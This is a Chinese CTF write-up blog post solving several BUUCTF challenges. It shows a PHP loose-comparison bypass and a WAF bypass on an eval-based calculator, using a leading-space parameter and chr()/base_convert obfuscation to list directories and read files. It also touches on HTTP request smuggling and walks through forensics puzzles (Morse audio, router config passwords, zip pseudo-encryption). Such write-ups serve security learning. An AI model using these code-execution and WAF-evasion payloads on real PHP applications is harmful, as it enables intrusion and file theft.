buuctf6

文章介绍了如何利用PHP的弱类型比较特性以及HTTP走私攻击来解决CTF比赛中的安全问题,包括通过目录扫描获取备份文件,解析PHP代码以找到flag,以及如何绕过WAF限制执行任意PHP命令。同时,还提到了音频文件中的摩斯密码解密和文件加密的破解方法。
摘要由CSDN通过智能技术生成

目录

 [ACTF2020 新生赛]BackupFile

[RoarCTF 2019]Easy Calc 

  利用PHP的字符串解析特性Bypass:

  http走私攻击

来首歌吧

荷兰宽带数据泄露​编辑

面具下的flag


 [ACTF2020 新生赛]BackupFile

1.打开环境

 查看源代码得不到任何想要的信息,使用目录扫描来得到我们想要的文件名信息,这里用到 Web 目录扫描工具——dirsearch

使用命令

dirsearch -u http://5037570b-c582-47d0-804b-699775706fe7.node4.buuoj.cn:81/ -e*

发现一个符合的文件——“index.php.bak”

 下载index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

  • 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。

根据题目得,我们需要以 get方式提交一个参数key,且要满足key == str

这里涉及到一个知识点,在 PHP 的弱类型比较中,有两种比价符号

其中==在比较时候是先将字符串类型转化为相同,再比较;===是先判断两种字符串的类型是否相等,再比较

在==转换字符串的过程中,遵循如下原则:

    当字符串开始部分不存在数值的时候,会将该字符串转换为数值 0。如var_dump('abc' == 0),结果为 True
    当字符串开始部分有合法数值的时候,会将该字符串转换为合法数值。如var_dump('123abc' == 123),结果为True
    当字符串中包含 e 或者 E 时,会将其识别为科学计数法。如var_dump('0e12asda' == 0),结果为True

所以该题中,我们要使得$key == $str,且$key不能为字符,故可以构造Payload:?key=123

[RoarCTF 2019]Easy Calc 

1.打开环境

查看页面源代码,看到有calc.php,并且提示有waf

 2.访问这个页面

 使用get方式传参赋值给num,并且使用正则表达式进行了过滤,只要能绕过过滤,就可以通过eval进行任意php语句
3.尝试直接?num=phpinfo()

访问不成功,应该是waf起了作用,根据大佬们的wp知道可以通过在num前加一个空格进行绕过
原理:php解析规则:当php进行解析时,如果变量名前面有空格,php会自动去掉前面的空格再进行解析,假如waf不允许num变量接收字母,那么使用 num就可以,而php解析时就会自动把空格去掉
 

绕过WAF有两种方法

  • num前添加%20绕过对num的检测(PHP的字符串解析特性)
  • HTTP走私之重复Content-Length绕过

方法一  利用PHP的字符串解析特性Bypass:

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

.? num=phpinfo()

 5.先使用scandir查看目录中的内容,找到存有flag的文件

 6.但是/被过滤了,尝试绕过。使用chr对/的ascii码进行转换绕过,只有这个才不需要引号

? num=var_dump(scandir(chr(47)))

 

 

 或者使用glob()函数

/calc.php?%20num=var_dump(glob(chr(47).chr(42)))

 根目录发现f1agg,得到f1agg文件。尝试对该文件进行读取

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

 方法二 http走私攻击 参考:

从一道题到协议层攻击之HTTP请求走私 - 先知社区[RoarCTF 2019]Easy Calc(http走私 && 利用PHP的字符串解析特性Bypass)_HyyMbb的博客-CSDN博客

CL-CL漏洞

两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。

 CL-TE漏洞

CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。

或者构造payload获得Flag
使用scandir()函数readfile()函数base_convert()函数dechex() 函数hex2bin() 函数chr()函数
36进制scandir->10进制61693386291
36进制readfile->10进制2146934604002
ascii码/->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)
首先要使用scandir()函数,尝试构造payload列举根目录下的文件。
scandir()可以用base_convert()函数构造,但是利用base_convert()只能解决a~z的利用。
因为根目录需要/符号,且不在a~z,所以需要hex2bin(dechex(47))这种构造方式,dechex() 函数把十进制数转换为十六进制数。hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。当然,也可以直接用chr()函数

 

 payload:

var_dump(base_convert(61693386291,10,36)(chr(47)))

再读取flag

 payload:

var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))

来首歌吧

下载了一个音频文件。在audacity打开。发现有两个轨道,上面的就是摩斯密码

 

写成莫斯密码

… -… -.-. ----. …— … -… …- ----. -.-. -… ----- .---- —… —… …-. … …— . -… .---- --… -… --… ----- ----. …— ----. .---- ----. .---- -.-. 

解密得到

flag{5BC925649CB0188F52E617D70929191C}

荷兰宽带数据泄露

RouterPassView——路由器密码查看工具

RouterPassView,大多数现代路由器允许您备份到一个文件路由器的配置,然后从文件中恢复配置时的需要。路由器的备份文件通常包含了像您的ISP的用户名重要数据/密码,路由器的登录密码,无线网络的关键。如果你失去了这些密码 /钥匙,但你仍然有你的路由器配置的备份文件,RouterPassView可以帮助你从你的路由器恢复您丢失密码的文件。

搜索username,外包flag

面具下的flag

1.下载图片,放进010分析。看到有隐藏着的文件。

  拖进kali,得到一个文件夹

文件夹下,这个zip文件被加密 

 放进010分析,发现被伪加密。把09改成00

在终端执行命令解压。得到四个文件夹

7z x flag.vmdk -o./

打开key_part_one

brainfuck解码

 打开key_part_two Ook!编码解码

拼接得到flag 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值